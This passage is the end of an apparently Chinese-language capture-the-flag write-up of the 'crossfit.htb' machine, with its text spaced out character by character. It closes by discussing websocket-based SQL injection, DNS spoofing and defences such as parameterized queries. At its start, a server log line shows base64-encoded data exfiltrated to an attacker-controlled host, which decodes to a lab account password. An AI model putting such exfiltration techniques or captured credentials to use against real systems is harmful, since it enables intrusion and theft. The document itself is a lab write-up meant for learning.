4 0 c r o s s f i t . h t b "   " h t t p : / / 1 0 . 1 0 . 1 0 . 2 3 2 / p a s s w o r d - r e s e t . p h p " 1 0 . 1 0 . 1 0 . 2 3 2   -   -   [ 1 9 / J u l / 2 0 2 1 : 2 1 : 0 3 : 3 1   - 0 4 0 0 ]   " G E T   / g e t . p h p ? s = e y J z Z W 5 k Z X J f a W Q i O j I s I m N v b n R l b n Q i O i J I Z W x s b y B E Y X Z p Z C w g S S d 2 Z S B h Z G R l Z C B h I H V z Z X I g Y W N j b 3 V u d C B m b 3 I g e W 9 1 I H d p d G g g d G h l I H B h c 3 N 3 b 3 J k I G B O V 0 J G Y 1 N l M 3 d z N F Z E a F R C Y C 4 i L C J y b 2 9 t S W Q i O j I s I l 9 p Z C I 6 M j c x O X 0 =   H T T P / 1 . 1 "
至 此 ， 本 次 渗 透 就 暂 告 一 段 落 了 ， 后 续 的 提 权 渗 透 主 要 是 利 用 s u i d 方 法 进 行 ， 不 是 本 篇 文 章 的 主 题 ， 网 上 各 种 例 子 也 很 多 ， 这 里 就 不 在 赘 述 。 后 记 后 记 对 于 S Q L 注 入 ， 目 前 实 战 中 已 经 很 难 找 到 原 生 态 的 S Q L 注 入 漏 洞 了 ， 遇 到 的 基 本 都 是 需 要 作 变 形 或 转 换 的 。 从 S Q L 注 入 本 质 来 理 解 ， 就 是 指 w e b 应 用 程 序 对 用 户 输 入 数 据 的 合 法 性 没 有 判 断 ， 攻 击 者 可 以 在 w e b 应 用 程 序 中 事 先 定 义 好 的 查 询 语 句 的 结 尾 上 添 加 额 外 的 S Q L 语 句 ， 以 此 来 实 现 欺 骗 数 据 库 服 务 器 执 行 非 授 权 的 任 意 查 询 ， 从 而 进 一 步 得 到 相 应 的 数 据 信 息 。 因 此 无 论 S Q L 注 入 以 哪 种 形 态 或 协 议 （ 是 h t t p ( s ) 还 是 w e b s o c k e t ） ， 最 终 回 归 到 本 质 ， 就 是 要 对 用 户 的 输 入 进 行 合 法 性 检 测 ， S Q L 注 入 的 方 式 或 协 议 只 是 载 体 ， 起 决 定 作 用 的 还 是 用 户 的 输 入 。 基 于 此 思 想 ， 为 了 预 防 利 用 w e b s o c k e t 进 行 S Q L 注 入 ， 可 以 采 用 两 种 方 法 ： 一 是 加 强 对 用 户 输 入 内 容 的 检 查 与 验 证 ; 二 是 强 迫 使 用 参 数 化 语 句 来 传 递 用 户 输 入 的 内 容 。 在 本 次 渗 透 实 战 中 ， 如 果 没 有 S Q L 注 入 漏 洞 ， 就 无 法 获 取 D N S 服 务 器 的 配 置 文 件 ， 自 然 也 就 无 法 实 现 D N S 欺 骗 ， 但 核 心 还 是 对 用 户 输 入 数 据 的 合 法 性 没 有 判 断 ， 导 致 S Q L 注 入 漏 洞 的 存 在 ， 与 w e b s o c k e t 协 议 没 有 直 接 的 关 系 ， 本 文 只 是 提 供 了 一 种 基 于 w e b s o c k e t 协 议 进 行 S Q L 注 入 的 方 法 ， 并 在 此 基 础 上 实 现 了 D N S 欺 骗 ， 渗 透 思 路 有 亮 点 ， 记 录 下 来 与 大 家 共 同 学 习 。 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理